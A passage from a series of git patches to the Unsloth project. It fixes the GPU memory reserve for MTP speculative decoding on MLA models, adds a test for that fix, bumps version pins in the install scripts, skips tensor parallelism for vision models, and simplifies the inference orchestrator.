GLM-5.2 UD-IQ1_S advertised its native 1,048,576-token context, loaded, then
crashed cublasCreate on the first generation with "CUDA error: the resource
allocation failed" on a 2x B200 box. The model loaded fine; the decode OOMed.

Cause: when MTP speculative decoding is engaged, llama.cpp keeps a second full
copy of the target model's KV context for draft verification (ctx_tgt=yes in the
spec log), at f16. On an MLA model that copy is ~the main KV again -- for GLM-5.2
at 1M ctx llama.cpp sized it at ~97.5 GiB -- but the auto-fit reserve only
counted the tiny embedded draft head (~2 GiB), 46x too low. So weights (~202 GiB)
+ main KV (~83 GiB) + a 2 GiB reserve looked like it fit in 2x182 GiB, when the
real footprint with the ~97 GiB MTP copy is ~382 GiB and overruns the cards.
Disabling speculative decoding removed the copy and the same context ran fine.

_estimate_mtp_overhead_bytes now adds the duplicated target context (the main KV
re-estimated at f16) for MLA models, so auto-fit backs the context off (or selects
more GPUs) instead of advertising one that OOMs. It is gated strictly on MLA
(kv_lora_rank present), which is exactly the family that keeps the extra copy
(GLM-5.x, DeepSeek, Kimi-K2); non-MLA MTP (Qwen, Gemma) is byte-for-byte
unchanged. The reserve stays deterministic from GGUF dims, matching #6312.

test_mtp_mla_target_ctx.py covers it: the MLA reserve includes the f16 target
copy and dominates the draft head, the copy is f16 regardless of the main cache
type and scales with context, non-MLA embedded heads keep overhead == draft KV,
and _fit_context_to_vram on the GLM-5.2 / 2x B200 budget now returns a context
below the requested 1M where the old draft-only reserve kept the full 1M.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: stub structlog/loggers in MTP-MLA test so it is import-order-independent

The new test imports core.inference.llama_cpp, which pulls in orchestrator ->
structlog. In the lightweight test env structlog is absent, so when this file is
collected before test_mtp_vram_budget.py (it sorts first) or run directly,
collection aborted with ModuleNotFoundError. Install the same loggers/structlog
(+ conditional httpx) stubs the sibling MTP tests use before the import, matching
the established per-file convention.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py    |  31 ++-
 .../backend/tests/test_mtp_mla_target_ctx.py  | 206 ++++++++++++++++++
 2 files changed, 228 insertions(+), 9 deletions(-)
 create mode 100644 studio/backend/tests/test_mtp_mla_target_ctx.py

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 403ace3ff3..340520d40d 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -2824,9 +2824,10 @@ class LlamaCppBackend:
         n_parallel: int = 1,
     ) -> Optional[int]:
         """MTP draft reserve at ``n_ctx`` = draft KV (grows with ctx) + separate-
-        drafter weights. The verify buffer rides in the ctx-fit headroom (no tuned
-        constant). None when the draft KV can't be sized (caller keeps the flat
-        fallback). ``draft_weights_bytes`` is the drafter file size (0 for embedded)."""
+        drafter weights + (MLA only) a duplicated target KV context. The verify
+        buffer rides in the ctx-fit headroom (no tuned constant). None when the
+        draft KV can't be sized (caller keeps the flat fallback).
+        ``draft_weights_bytes`` is the drafter file size (0 for embedded)."""
         draft_kv = self._mtp_draft_kv_bytes(
             n_ctx,
             drafter_path = drafter_path,
@@ -2835,13 +2836,25 @@ class LlamaCppBackend:
             n_parallel = n_parallel,
         )
         weights = max(0, draft_weights_bytes)
+        # MLA models (GLM-5.x, DeepSeek, Kimi-K2) keep a *second* full copy of the
+        # target model's KV context for MTP draft verification -- llama.cpp's
+        # `ctx_tgt=yes` -- allocated at f16 regardless of the main cache type. It is
+        # ~the main KV again and dwarfs the embedded draft head (GLM-5.2 @ 1M ctx:
+        # a ~2 GiB head next to a ~89 GiB target copy), so omitting it lets auto-fit
+        # pick a context that fits on paper but OOMs cublasCreate at the first
+        # decode. Non-MLA MTP (Qwen/Gemma) keeps no such copy, so this is gated
+        # strictly on MLA (kv_lora_rank present) and leaves those models unchanged.
+        target_ctx_copy = 0
+        if self._kv_lora_rank is not None:
+            target_ctx_copy = self._estimate_kv_cache_bytes(n_ctx, "f16", n_parallel = n_parallel)
         if draft_kv is None:
-            # KV unsized (exotic/remote drafter): still reserve known weights so a
-            # large drafter can't launch over budget (the small unsized KV rides in
-            # the cushion). Nothing known -> None, so the caller keeps the flat
-            # fallback.
-            return weights if weights > 0 else None
-        return draft_kv + weights
+            # KV unsized (exotic/remote drafter): still reserve known weights + any
+            # MLA target copy so a large config can't launch over budget (the small
+            # unsized draft KV rides in the cushion). Nothing known -> None, so the
+            # caller keeps the flat fallback.
+            total = weights + target_ctx_copy
+            return total if total > 0 else None
+        return draft_kv + weights + target_ctx_copy
 
     _DEFAULT_N_UBATCH = 512  # llama.cpp --ubatch default; Studio does not override it
     _COMPUTE_BUFFER_SAFETY = 1.15  # upper-bound margin on the compute-buffer estimate
diff --git a/studio/backend/tests/test_mtp_mla_target_ctx.py b/studio/backend/tests/test_mtp_mla_target_ctx.py
new file mode 100644
index 0000000000..50866942bf
--- /dev/null
+++ b/studio/backend/tests/test_mtp_mla_target_ctx.py
@@ -0,0 +1,206 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""MTP draft reserve for MLA models keeps a duplicated target KV context.
+
+llama.cpp's MTP speculative decoding allocates a second full copy of the target
+model's KV context (``ctx_tgt=yes``) for draft verification, at f16. On MLA
+models (GLM-5.x, DeepSeek, Kimi-K2) that copy is ~the main KV again and dwarfs
+the tiny embedded draft head, so omitting it let auto-fit pick a context that
+fit on paper but OOMed ``cublasCreate`` at the first decode (e.g. GLM-5.2
+UD-IQ1_S advertised the native 1M context on 2x B200, then crashed on the first
+generation). Non-MLA MTP (Qwen/Gemma) keeps no such copy and must stay exactly
+as #6312 tuned it.
+"""
+
+import sys
+import types as _types
+from pathlib import Path
+
+import pytest
+
+# ---------------------------------------------------------------------------
+# Stub heavy/unavailable deps before importing the module under test, so this
+# file is order-independent (importing core.inference pulls in orchestrator ->
+# structlog, absent in the lightweight test env). Mirrors test_mtp_vram_budget.
+# ---------------------------------------------------------------------------
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+sys.modules.setdefault("structlog", _types.ModuleType("structlog"))
+
+# httpx -- only stub when the real library is missing. Unconditional stubbing
+# shadows HTTPError/Response that huggingface_hub.errors imports at load time.
+try:
+    import httpx as _httpx_real  # noqa: F401
+except ImportError:
+    _httpx_stub = _types.ModuleType("httpx")
+    for _exc_name in (
+        "ConnectError",
+        "TimeoutException",
+        "ReadTimeout",
+        "ReadError",
+        "RemoteProtocolError",
+        "CloseError",
+        "HTTPError",
+        "RequestError",
+    ):
+        setattr(_httpx_stub, _exc_name, type(_exc_name, (Exception,), {}))
+    _httpx_stub.Timeout = type("Timeout", (), {"__init__": lambda self, *a, **kw: None})
+    _httpx_stub.Response = type("Response", (), {})
+    _httpx_stub.Client = type(
+        "Client",
+        (),
+        {
+            "__init__": lambda self, **kw: None,
+            "__enter__": lambda self: self,
+            "__exit__": lambda self, *a: None,
+        },
+    )
+    sys.modules["httpx"] = _httpx_stub
+
+from core.inference.llama_cpp import (  # noqa: E402
+    LlamaCppBackend,
+    _kv_bytes_per_elem,
+)
+
+GIB = 1024**3
+
+
+def _make_mla_backend(
+    *,
+    n_layers = 79,
+    n_kv_heads = 1,
+    n_heads = 64,
+    kv_key_length = 576,
+    kv_value_length = 512,
+    kv_lora_rank = 512,
+    key_length_mla = 256,
+    nextn = 1,
+    embedding_length = 6144,
+    vocab = 154880,
+    native_ctx = 1048576,
+):
+    """GLM-5.2-class backend: MLA attention + an embedded MTP head."""
+    b = LlamaCppBackend.__new__(LlamaCppBackend)
+    b._nextn_predict_layers = nextn
+    b._n_kv_heads = n_kv_heads
+    b._n_heads = n_heads
+    b._kv_key_length = kv_key_length
+    b._kv_value_length = kv_value_length
+    b._embedding_length = embedding_length
+    b._n_layers = n_layers
+    b._context_length = native_ctx
+    b._shared_kv_layers = 0
+    b._kv_lora_rank = kv_lora_rank
+    b._sliding_window = None
+    b._sliding_window_pattern = None
+    b._ssm_inner_size = None
+    b._full_attention_interval = None
+    b._key_length_mla = key_length_mla
+    b._n_kv_heads_by_layer = None
+    b._kv_key_length_swa = None
+    b._kv_value_length_swa = None
+    b._draft_backend_cache = None
+    b._vocab_size = vocab
+    return b
+
+
+def _make_non_mla_backend(**kw):
+    """Qwen3.6-MTP-class embedded head: no MLA (kv_lora_rank is None)."""
+    b = _make_mla_backend(
+        n_kv_heads = 4,
+        n_heads = 24,
+        kv_key_length = 256,
+        kv_value_length = 256,
+        embedding_length = 5120,
+        n_layers = 65,
+        native_ctx = 262144,
+        **kw,
+    )
+    b._kv_lora_rank = None
+    b._key_length_mla = None
+    return b
+
+
+class TestMlaTargetCtxReserve:
+    def test_mla_reserve_includes_target_ctx_copy(self):
+        b = _make_mla_backend()
+        ctx = 1048576
+        draft = b._mtp_draft_kv_bytes(ctx)
+        overhead = b._estimate_mtp_overhead_bytes(ctx)
+        main_kv_f16 = b._estimate_kv_cache_bytes(ctx, "f16")
+        # Overhead = embedded draft head + a full f16 copy of the target KV.
+        assert overhead == draft + main_kv_f16
+        # The copy dominates: GLM-5.2 @1M is a ~2 GiB head next to a ~89 GiB copy.
+        assert overhead / GIB > 80
+        assert main_kv_f16 > 30 * draft
+
+    def test_target_copy_is_f16_regardless_of_main_cache_type(self):
+        # The MTP target context is always f16 in llama.cpp; the reserve must not
+        # shrink when the user runs a quantized main KV.
+        b = _make_mla_backend()
+        ctx = 262144
+        f16 = _kv_bytes_per_elem("f16")
+        expected_copy = b._estimate_kv_cache_bytes(ctx, "f16")
+        assert b._estimate_mtp_overhead_bytes(ctx) == (b._mtp_draft_kv_bytes(ctx) + expected_copy)
+        assert f16 == 2.0  # sanity: f16 is 2 bytes/elem
+
+    def test_target_copy_scales_linearly_with_context(self):
+        b = _make_mla_backend()
+        o_64k = b._estimate_mtp_overhead_bytes(65536)
+        o_128k = b._estimate_mtp_overhead_bytes(131072)
+        assert o_128k == pytest.approx(2 * o_64k)
+
+    def test_non_mla_embedded_head_unchanged(self):
+        # Qwen-class MTP keeps no target copy: overhead == draft KV exactly.
+        b = _make_non_mla_backend()
+        for ctx in (16384, 131072):
+            assert b._estimate_mtp_overhead_bytes(ctx) == b._mtp_draft_kv_bytes(ctx)
+
+    def test_mla_reserve_strictly_larger_than_non_mla_shape(self):
+        # Same embedded-head dims, MLA toggled on/off: only MLA adds the copy.
+        mla = _make_mla_backend()
+        non = _make_mla_backend()
+        non._kv_lora_rank = None  # flip MLA off, keep every other dim identical
+        ctx = 131072
+        assert mla._estimate_mtp_overhead_bytes(ctx) > non._estimate_mtp_overhead_bytes(ctx)
+
+
+class TestMlaFitPreventsOom:
+    """The corrected reserve must actually lower the auto-fit context so the
+    config holds at runtime instead of OOMing on the first decode."""
+
+    # 2x B200, mirroring the GLM-5.2 UD-IQ1_S crash (only 2 GPUs were selected).
+    AVAIL_MIB = 2 * 182010
+    TOTAL_MIB = 2 * 182633
+    MODEL_BYTES = 200 * GIB  # ~UD-IQ1_S weight footprint
+    REQ_CTX = 1048576
+
+    def test_target_copy_lowers_chosen_context(self):
+        b = _make_mla_backend()
+        with_copy = b._fit_context_to_vram(
+            self.REQ_CTX,
+            self.AVAIL_MIB,
+            self.MODEL_BYTES,
+            mtp_engaged = True,
+            total_mib = self.TOTAL_MIB,
+            mtp_overhead_fn = lambda c: b._estimate_mtp_overhead_bytes(c) or 0,
+        )
+        # The old behaviour (draft head only, no target copy) kept the full ctx.
+        draft_only = b._fit_context_to_vram(
+            self.REQ_CTX,
+            self.AVAIL_MIB,
+            self.MODEL_BYTES,
+            mtp_engaged = True,
+            total_mib = self.TOTAL_MIB,
+            mtp_overhead_fn = lambda c: (b._mtp_draft_kv_bytes(c) or 0),
+        )
+        assert draft_only == self.REQ_CTX  # reproduces the over-advertised context
+        assert with_copy < self.REQ_CTX  # corrected reserve backs the context off

From 936fe199e7ad04263576d45ff336b4da3dbf5660 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 10:28:47 -0700
Subject: [PATCH 86/91] Update pyproject.toml

---
 pyproject.toml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pyproject.toml b/pyproject.toml
index eb3cebdeab..83d65bc1a3 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -71,7 +71,7 @@ triton = [
 ]
 
 huggingfacenotorch = [
-    "unsloth_zoo>=2026.6.5",
+    "unsloth_zoo>=2026.6.6",
     "wheel>=0.42.0",
     "packaging",
     "numpy",
@@ -92,7 +92,7 @@ huggingfacenotorch = [
 ]
 huggingface = [
     "unsloth[huggingfacenotorch]",
-    "unsloth_zoo>=2026.6.5",
+    "unsloth_zoo>=2026.6.6",
     "torchvision",
     "unsloth[triton]",
 ]
@@ -582,7 +582,7 @@ colab-ampere-torch220 = [
     "flash-attn>=2.6.3 ; ('linux' in sys_platform)",
 ]
 colab-new = [
-    "unsloth_zoo>=2026.6.5",
+    "unsloth_zoo>=2026.6.6",
     "packaging",
     "tyro",
     "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0",

From 4a9fff70b5dacd44d45a265f3e2d92bfd630454e Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 10:28:58 -0700
Subject: [PATCH 87/91] Update _utils.py

---
 unsloth/models/_utils.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py
index a15320668c..742f5f57e0 100644
--- a/unsloth/models/_utils.py
+++ b/unsloth/models/_utils.py
@@ -12,7 +12,7 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-__version__ = "2026.6.7"
+__version__ = "2026.6.8"
 
 __all__ = [
     "SUPPORTS_BFLOAT16",

From 0435bad282430ad6200d8744233a442d79a54a44 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 10:48:45 -0700
Subject: [PATCH 88/91] Bump install.sh / install.ps1 pin to unsloth>=2026.6.8
 (#6451)

---
 install.ps1 | 10 +++++-----
 install.sh  | 10 +++++-----
 2 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/install.ps1 b/install.ps1
index 47851ed92e..c241a04166 100644
--- a/install.ps1
+++ b/install.ps1
@@ -2080,7 +2080,7 @@ exit 0
         if ($SkipTorch) {
             # No-torch: install unsloth + unsloth-zoo with --no-deps, then
             # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.7" "unsloth-zoo>=2026.6.5" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" }
             if ($baseInstallExit -eq 0) {
                 # Resolve pydantic WITH deps so pip pins pydantic-core
                 # to the matching version (no-torch-runtime.txt below
@@ -2094,7 +2094,7 @@ exit 0
                 }
             }
         } else {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.7" "unsloth-zoo>=2026.6.5" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" }
         }
         if ($baseInstallExit -ne 0) {
             Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
@@ -2141,7 +2141,7 @@ exit 0
         if ($SkipTorch) {
             # No-torch: install unsloth + unsloth-zoo with --no-deps, then
             # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.6.7" "unsloth-zoo>=2026.6.5" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" }
             if ($baseInstallExit -eq 0) {
                 # Same pydantic-with-deps trick as the migrated branch.
                 $baseInstallExit = Invoke-InstallCommandRetry -Label "install pydantic" { uv pip install --python $VenvPython pydantic }
@@ -2153,7 +2153,7 @@ exit 0
                 }
             }
         } elseif ($StudioLocalInstall) {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.6.7" "unsloth-zoo>=2026.6.5" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" }
         } else {
             $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth" { uv pip install --python $VenvPython --upgrade-package unsloth -- "$PackageName" }
         }
@@ -2181,7 +2181,7 @@ exit 0
         Write-TauriLog "STEP" "Installing unsloth"
         substep "installing unsloth (this may take a few minutes)..."
         if ($StudioLocalInstall) {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.6.5" "unsloth>=2026.6.7" --torch-backend=auto }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.6.6" "unsloth>=2026.6.8" --torch-backend=auto }
             if ($baseInstallExit -ne 0) {
                 Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
                 return (Exit-InstallFailure "Failed to install unsloth (exit code $baseInstallExit)" $baseInstallExit)
diff --git a/install.sh b/install.sh
index a0d8637d94..7e8df1bc64 100755
--- a/install.sh
+++ b/install.sh
@@ -2524,7 +2524,7 @@ if [ "$_MIGRATED" = true ]; then
         # to prevent transitive torch resolution.
         run_install_cmd_retry "install unsloth (migrated no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
             --reinstall-package unsloth --reinstall-package unsloth-zoo \
-            "unsloth>=2026.6.7" "unsloth-zoo>=2026.6.5"
+            "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6"
         # Resolve pydantic WITH deps so pip pins pydantic-core to the
         # matching version (no-torch-runtime.txt below is --no-deps).
         # All transitive deps are torch-free.
@@ -2537,7 +2537,7 @@ if [ "$_MIGRATED" = true ]; then
     else
         run_install_cmd_retry "install unsloth (migrated)" uv pip install --python "$_VENV_PY" \
             --reinstall-package unsloth --reinstall-package unsloth-zoo \
-            "unsloth>=2026.6.7" "unsloth-zoo>=2026.6.5"
+            "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6"
     fi
     if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
         substep "overlaying local repo (editable)..."
@@ -2741,7 +2741,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
         # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
         run_install_cmd_retry "install unsloth (no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
             --upgrade-package unsloth --upgrade-package unsloth-zoo \
-            "unsloth>=2026.6.7" "unsloth-zoo>=2026.6.5"
+            "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6"
         # Same pydantic-with-deps trick as the migrated branch.
         run_install_cmd_retry "install pydantic (with deps for compatible core)" \
             uv pip install --python "$_VENV_PY" pydantic
@@ -2759,7 +2759,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
         fi
     elif [ "$STUDIO_LOCAL_INSTALL" = true ]; then
         run_install_cmd_retry "install unsloth (local)" uv pip install --python "$_VENV_PY" \
-            --upgrade-package unsloth "unsloth>=2026.6.7" "unsloth-zoo>=2026.6.5"
+            --upgrade-package unsloth "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6"
         substep "overlaying local repo (editable)..."
         run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
         substep "overlaying unsloth-zoo from git main..."
@@ -2791,7 +2791,7 @@ else
     tauri_log "STEP" "Installing Unsloth"
     substep "installing unsloth (this may take a few minutes)..."
     if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
-        run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.6.5" "unsloth>=2026.6.7" --torch-backend=auto
+        run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.6.6" "unsloth>=2026.6.8" --torch-backend=auto
         substep "overlaying local repo (editable)..."
         run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
         substep "overlaying unsloth-zoo from git main..."

From 5be8835de512523302bc646db51723d0f17aa61a Mon Sep 17 00:00:00 2001
From: Leo Borcherding <borchborchmail@gmail.com>
Date: Thu, 18 Jun 2026 15:21:57 -0500
Subject: [PATCH 89/91] Studio: skip tensor-parallel for vision models; fix MTP
 drafter VRAM reserve on Windows (#6416)

---------

Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py   | 29 ++++++++++++++++++--
 studio/backend/tests/test_mtp_vram_budget.py |  4 +--
 2 files changed, 29 insertions(+), 4 deletions(-)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 340520d40d..4826403bbc 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -1810,6 +1810,7 @@ class LlamaCppBackend:
                 [bin_path, "--help"],
                 capture_output = True,
                 text = True,
+                errors = "replace",
                 timeout = 10,
                 check = False,
                 env = probe_env,
@@ -2959,7 +2960,7 @@ class LlamaCppBackend:
         if model_footprint + kv + _mtp_at(requested_ctx) <= budget_bytes:
             return requested_ctx
 
-        # Weights alone exceed budget -- reducing ctx can't help; --fit handles it.
+        # Weights + compute buffer alone exceed budget -- reducing ctx can't help.
         if model_footprint >= budget_bytes:
             logger.debug(
                 "Model footprint exceeds GPU budget before KV cache",
@@ -4808,6 +4809,7 @@ class LlamaCppBackend:
                         or bool(mtp_draft_path)
                     )
                     _mtp_binary_ok = True
+                    _mtp_probe_raised = False
                     if not _user_mtp_via_extras:
                         try:
                             _mtp_binary_ok = bool(
@@ -4815,17 +4817,24 @@ class LlamaCppBackend:
                             )
                         except Exception:
                             _mtp_binary_ok = False
+                            _mtp_probe_raised = True
                     _mtp_will_engage = bool(
                         _user_mtp_via_extras
                         or _user_draft_via_extras
                         or (
                             not _extra_args_set_spec_type(extra_args)
-                            and _mtp_binary_ok
                             and _mtp_model_for_fit
                             and (
                                 _mtp_effective in ("mtp", "mtp+ngram")
                                 or (_mtp_effective == "auto" and not _mtp_sub_3b_for_fit)
                             )
+                            and (
+                                _mtp_binary_ok
+                                # Reserve on a raised (uncached) probe too: it re-probes in
+                                # _build_speculative_flags and may still engage MTP (embedded
+                                # head or separate drafter -- _mtp_model_for_fit covers both).
+                                or _mtp_probe_raised
+                            )
                         )
                     )
 
@@ -4982,6 +4991,22 @@ class LlamaCppBackend:
                     )
                     _pin_fraction = self._GPU_PIN_VRAM_FRACTION - _flat_mtp_reserve
 
+                    if tensor_parallel and effective_is_vision:
+                        logger.info(
+                            "Tensor parallelism skipped for vision model: "
+                            "--split-mode tensor is incompatible with --mmproj "
+                            "in the current llama.cpp build; using layer split."
+                        )
+                        tensor_parallel = False
+                        if _tensor_dropped_cache_type_kv is not None:
+                            cache_type_kv = _tensor_dropped_cache_type_kv
+                            _cache_type_from_env = False
+                        extra_args = strip_split_mode_only(
+                            _tensor_dropped_extra_args
+                            if _tensor_dropped_extra_args is not None
+                            else extra_args
+                        )
+
                     # Tensor mode replicates a compute buffer on every GPU, so drop
                     # GPUs below that reserve from the set up front (gpu_indices
                     # becomes the CUDA_VISIBLE_DEVICES mask, fully excluding them).
diff --git a/studio/backend/tests/test_mtp_vram_budget.py b/studio/backend/tests/test_mtp_vram_budget.py
index f61ffa3c21..e7c6b02232 100644
--- a/studio/backend/tests/test_mtp_vram_budget.py
+++ b/studio/backend/tests/test_mtp_vram_budget.py
@@ -864,8 +864,8 @@ class TestExtraArgsMtpDetection:
         # f16/f16 on the layer fallback) (#6312).
         load = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
         assert "_tensor_dropped_extra_args=list(extra_args)" in load
-        # Both tensor->layer downgrade points restore the saved originals.
-        assert load.count("strip_split_mode_only(_tensor_dropped_extra_argsif") == 2
+        # All three tensor->layer downgrade points restore the saved originals.
+        assert load.count("strip_split_mode_only(_tensor_dropped_extra_argsif") == 3
 
     def test_load_model_tensor_skips_reserve_for_cpu_drafter(self):
         # A separate CPU-offloaded drafter (no embedded head) uses no GPU, so the

From b4fa48e1b30dd51156ef3a2b766bcc5d70b620f5 Mon Sep 17 00:00:00 2001
From: oobabooga <oobabooga4@gmail.com>
Date: Thu, 18 Jun 2026 17:23:16 -0300
Subject: [PATCH 90/91] Studio: simplify the inference orchestrator and worker
 (#6439)

---
 studio/backend/core/inference/orchestrator.py | 369 ++++++++----------
 studio/backend/core/inference/worker.py       | 355 +++++------------
 2 files changed, 269 insertions(+), 455 deletions(-)

diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py
index a0fe8623a3..47e8038764 100644
--- a/studio/backend/core/inference/orchestrator.py
+++ b/studio/backend/core/inference/orchestrator.py
@@ -18,7 +18,6 @@ import atexit
 import base64
 import os
 import signal
-import structlog
 from loggers import get_logger
 import multiprocessing as mp
 import queue
@@ -61,7 +60,6 @@ class InferenceOrchestrator:
         self._cmd_queue: Any = None
         self._resp_queue: Any = None
         self._cancel_event: Any = None  # mp.Event — set to cancel generation
-        self._lock = threading.Lock()
         self._gen_lock = threading.Lock()  # Serializes generation
 
         # Dispatcher state for compare mode (adapter-controlled requests):
@@ -76,7 +74,6 @@ class InferenceOrchestrator:
         self.active_model_name: Optional[str] = None
         self.models: dict = {}
         self.loading_models: set = set()
-        self.loaded_local_models: list = []
         from core.inference.defaults import get_default_models
 
         self._static_models = get_default_models()
@@ -84,8 +81,6 @@ class InferenceOrchestrator:
         self._top_hub_cache: Optional[list[str]] = None
         self._top_models_ready = threading.Event()
 
-        self._current_transformers_major: Optional[str] = None  # "4" or "5"
-
         atexit.register(self._cleanup)
         logger.info("InferenceOrchestrator initialized (subprocess mode)")
 
@@ -392,6 +387,108 @@ class InferenceOrchestrator:
                 return
         logger.warning("Timed out waiting for gen_done after cancel")
 
+    # ------------------------------------------------------------------
+    # Generation command + token-stream helpers (shared by all paths)
+    # ------------------------------------------------------------------
+
+    def _build_generate_cmd(
+        self,
+        request_id: str,
+        image_b64: Optional[str],
+        *,
+        messages: list = None,
+        system_prompt: str = "",
+        temperature: float = 0.7,
+        top_p: float = 0.9,
+        top_k: int = 40,
+        min_p: float = 0.0,
+        max_new_tokens: int = 256,
+        repetition_penalty: float = 1.0,
+        use_adapter = None,
+        tools: Optional[list] = None,
+        enable_thinking: Optional[bool] = None,
+        reasoning_effort: Optional[str] = None,
+        preserve_thinking: Optional[bool] = None,
+    ) -> dict:
+        """Build the 'generate' command shared by the locked and dispatched paths."""
+        cmd = {
+            "type": "generate",
+            "request_id": request_id,
+            "messages": messages or [],
+            "system_prompt": system_prompt,
+            "image_base64": image_b64,
+            "temperature": temperature,
+            "top_p": top_p,
+            "top_k": top_k,
+            "min_p": min_p,
+            "max_new_tokens": max_new_tokens,
+            "repetition_penalty": repetition_penalty,
+        }
+        # Only forward template kwargs the caller set, for older worker compat.
+        if use_adapter is not None:
+            cmd["use_adapter"] = use_adapter
+        if tools is not None:
+            cmd["tools"] = tools
+        if enable_thinking is not None:
+            cmd["enable_thinking"] = enable_thinking
+        if reasoning_effort is not None:
+            cmd["reasoning_effort"] = reasoning_effort
+        if preserve_thinking is not None:
+            cmd["preserve_thinking"] = preserve_thinking
+        return cmd
+
+    def _consume_token_stream(
+        self,
+        read_one,
+        drain_on_cancel,
+        *,
+        crash_context: str,
+        cancel_event = None,
+        stats_holder: Optional[dict] = None,
+        read_timeout: float = 30.0,
+    ) -> Generator[str, None, None]:
+        """Yield tokens from a response stream until gen_done/gen_error.
+
+        ``read_one(timeout)`` returns the next response (or None on timeout) and
+        owns the queue choice — the shared resp_queue under _gen_lock, or a
+        per-request mailbox on the dispatcher path — so this loop stays agnostic
+        of which queue is read. On cancel, ``drain_on_cancel()`` consumes the
+        cancel ack from that same source so stale events don't leak into the
+        next request.
+        """
+        while True:
+            resp = read_one(read_timeout)
+            if resp is None:
+                # Check subprocess health
+                if not self._ensure_subprocess_alive():
